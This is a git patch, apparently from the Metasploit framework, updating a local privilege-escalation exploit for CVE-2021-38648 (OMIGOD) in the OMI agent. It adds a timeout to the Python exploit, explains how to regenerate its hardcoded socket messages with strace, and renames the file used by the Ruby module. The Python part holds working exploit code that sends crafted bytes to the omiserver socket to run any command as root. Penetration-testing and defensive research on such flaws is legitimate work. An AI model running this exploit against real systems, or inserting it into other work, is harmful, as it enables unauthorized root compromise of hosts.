From 278d940fee59060f8ec395597685ac05b3d4ccc8 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 2 Nov 2021 10:10:18 -0400 Subject: [PATCH] Update the Python exploit code to fix a bug --- data/exploits/CVE-2021-38648/README.md | 10 ++++++++-- .../CVE-2021-38648/{exploit.py => cve_2021_38648.py} | 4 ++++ modules/exploits/linux/local/cve_2021_38648_omigod.rb | 2 +- 3 files changed, 13 insertions(+), 3 deletions(-) rename data/exploits/CVE-2021-38648/{exploit.py => cve_2021_38648.py} (96%) diff --git a/data/exploits/CVE-2021-38648/README.md b/data/exploits/CVE-2021-38648/README.md index f4b4e65cb2..f8f1ebd33a 100644 --- a/data/exploits/CVE-2021-38648/README.md +++ b/data/exploits/CVE-2021-38648/README.md @@ -4,7 +4,7 @@ This is an LPE exploit for CVE-2021-38648 ## Usage ``` -usage: exploit.py [-h] [-s SOCKET_PATH] command +usage: cve_2021_38648.py [-h] [-s SOCKET_PATH] [--timeout TIMEOUT] command positional arguments: command the command to run @@ -13,13 +13,19 @@ optional arguments: -h, --help show this help message and exit -s SOCKET_PATH, --socket SOCKET_PATH socket file + --timeout TIMEOUT response timeout ``` The exploit will exit with a status of 0 on success. The command is limited to 256 characters in length due to the -hardcoded messages that are exchanged. +hardcoded messages that are exchanged. To increase this, generate a new series of messages using the `strace` command +below, search for the second `writev` syscall and extract each `iovec` instance. There should be six in total, and the +first 4 bytes of each should be consistent. The hardcoded messages were recovered using: ``` strace -v -s 5000 -f -xx -e trace=socket,connect,write,writev,close \ /opt/omi/bin/omicli iv root/scx { SCX_OperatingSystem } ExecuteShellCommand { command '...' timeout 0 } ``` + +It is important that the exploit wait on the socket for a response to be received. It doesn't need to be read, but the +socket needs to be kept open until either the server closes it or the response is received. diff --git a/data/exploits/CVE-2021-38648/exploit.py b/data/exploits/CVE-2021-38648/cve_2021_38648.py similarity index 96% rename from data/exploits/CVE-2021-38648/exploit.py rename to data/exploits/CVE-2021-38648/cve_2021_38648.py index faa9e77aa4..bda0cdfa93 100644 --- a/data/exploits/CVE-2021-38648/exploit.py +++ b/data/exploits/CVE-2021-38648/cve_2021_38648.py @@ -1,11 +1,13 @@ import argparse import os +import select import socket import sys def main(): parser = argparse.ArgumentParser(conflict_handler='resolve') parser.add_argument('-s', '--socket', dest='socket_path', default='/var/opt/omi/run/omiserver.sock', help='socket file') + parser.add_argument('--timeout', default=5.0, type=int, help='response timeout') parser.add_argument('command', help='the command to run') arguments = parser.parse_args() @@ -27,6 +29,8 @@ def main(): sock.send(b'\x57\x99\x2b\x46\x02\0\0\0\x14\0\0\0\x53\x43\x58\x5f\x4f\x70\x65\x72\x61\x74\x69\x6e\x67\x53\x79\x73\x74\x65\x6d\0\0\0\0\0\x02\0\0\0\0\x10\0\x40\x08\0\0\0\x63\x6f\x6d\x6d\x61\x6e\x64\0\x0d\0\0\0\x01\0\0\0\x01\x01\0\0' + command + b'\0\0\0\0\0\x10\0\x40\x08\0\0\0\x74\x69\x6d\x65\x6f\x75\x74\0\x0d\0\0\0\x01\0\0\0\x02\0\0\0\x30\0\0\0\xe3\x74\xf4\x76') sock.send(b'\xd0\x76\xb0\0\0\0\0\0\x70\x7a\xb0\0\0\0\0\0\x80\x7a\xb0\0\0\0\0\0\x02\0\0\0\0\0\0\0\xff\xff\xff\xff' + b'\0' * 20 + b'\x60\x23\xb0\0\0\0\0\0\x07\x10\0\0\x01\0\0\0\x03' + b'\0' * 23 + b'\x11\x27' + b'\0' * 142 + b'\x90\x76\xb0\0\0\0\0\0\x90\x7a\xb0\0\0\0\0\0\xbc\0\0\0\0\0\0\0\xa8\x24\xb0\0\0\0\0\0\xb8\x24\xb0\0\0\0\0\0\xd0\x24\xb0' + b'\0' * 13 + b'\xd8\x2a\xb0' + b'\0' * 13 + b'\xf0\x30\xb0\0\0\0\0\0\0\0\0\0\x6c\x01\0\0\x72\x6f\x6f\x74\x2f\x73\x63\x78\0\0\0\0\0\0\0\0\x45\x78\x65\x63\x75\x74\x65\x53\x68\x65\x6c\x6c\x43\x6f\x6d\x6d\x61\x6e\x64\0\0\0\0\0\x53\x43\x58\x5f\x4f\x70\x65\x72\x61\x74\x69\x6e\x67\x53\x79\x73\x74\x65\x6d\0\0\0\0\0\0\0\0\0\x0e\x74\x5f\0\x50\x25\xb0' + b'\0' * 21 + b'\x60\x25\xb0\0\0\0\0\0\x02\0\0\0\x90' + b'\0' * 51 + b'\xff\xff\xff\xff\xff\xff\xff\xff\x5f\x4f\x4d\x49\x5f\x4f\x70\x74\x69\x6f\x6e\x53\x65\x74\0\0\x60\x26\xb0\0\0\0\0\0\xc8\x26\xb0' + b'\0' * 248 + b'\x40\x1d\x6c\x5f\0\xa8\x26\xb0' + b'\0' * 17 + b'\x15' + b'\0' * 15 + b'\x40' + b'\0' * 27 + b'\x5f\x5f\x4d\x49\x5f\x4f\x50\x45\x52\x41\x54\x49\x4f\x4e\x4f\x50\x54\x49\x4f\x4e\x53\x5f\x43\x48\x41\x4e\x4e\x45\x4c\0\0\0\0\0\0\0\x1d\x74\x5f\0\x10\x27\xb0' + b'\0' * 17 + b'\x0c' + b'\0' * 15 + b'\x68' + b'\0' * 27 + b'\x5f\x5f\x4d\x49\x5f\x4f\x50\x45\x52\x41\x54\x49\x4f\x4e\x4f\x50\x54\x49\x4f\x4e\x53\x5f\x54\x49\x4d\x45\x4f\x55\x54\0\0\0\0\0\0\0\x01\0\0\0\x02' + b'\0' * 23) + select.select([sock], [], [], arguments.timeout) + sock.close() return os.EX_OK diff --git a/modules/exploits/linux/local/cve_2021_38648_omigod.rb b/modules/exploits/linux/local/cve_2021_38648_omigod.rb index 03563a2713..eef45c4cdb 100644 --- a/modules/exploits/linux/local/cve_2021_38648_omigod.rb +++ b/modules/exploits/linux/local/cve_2021_38648_omigod.rb @@ -162,7 +162,7 @@ class MetasploitModule < Msf::Exploit::Local root_cmd = payload_path end - upload("#{path}/#{python_script}", exploit_data('CVE-2021-38648', 'exploit.py')) + upload("#{path}/#{python_script}", exploit_data('CVE-2021-38648', 'cve_2021_38648.py')) cmd = "#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'" vprint_status("Running #{cmd}") output = cmd_exec(cmd)